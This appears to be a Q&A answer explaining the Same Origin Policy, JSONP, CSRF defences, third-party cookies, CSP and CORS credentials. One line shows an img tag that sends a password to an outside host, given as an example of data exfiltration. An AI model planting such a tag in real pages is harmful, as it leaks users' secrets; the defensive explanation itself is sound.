There is no "same domain rule". XHR can POST or GET to other domains - it is just that the response cannot be read by the requesting origin.
JSONP does not bypass the Same Origin Policy. The SOP simply says the above - requests can be made to other origins, just that their responses cannot be read. JSONP does not require the response to be read - it simply includes code from another domain to run in the context of the current domain. The code cannot be read, only executed in the browser.
Requests that can cause "side-effects" should only be done as POSTs. Restricting XHRs to the same domain in server side code can stop JSON POST actions being carried out other than on the domain of the site that you are on, which can mitigate CSRF vulnerabilities. For this to be effective, there needs to be server side checks of either the
Origin header or a custom one such as
X-Requested-With as custom headers cannot be sent cross domain without CORS. This is because although reading of the response is protected by the Same Origin Policy, there is no restriction of the actual cross-domain POST request from being made in the first place.
With most modern browsers it is possible to disable third party cookies. This will prevent CSRF attacks that are made via AJAX, assuming that the browser is not sending previously set cookies for those domains. Chrome appears to block third party cookies completely if the setting is enabled - cookies won't be accepted or sent if the domain is a third party, some browsers may still send the cookies if they were previously accepted as first party cookies.
It won't help in your example where the compromised site can send data to another site using
<img src="//example.com/?password=1234" />, however a Content Security Policy can be implemented if you want this behaviour as external sources can be blocked at browser level.
There is support within CORS for whether cookies are accepted cross domain (
Access-Control-Allow-Credentials). This also covers other authentication methods too, rather than only cookies. Again, this only affects whether the requesting domain can read the response, not whether it can be made in the first place.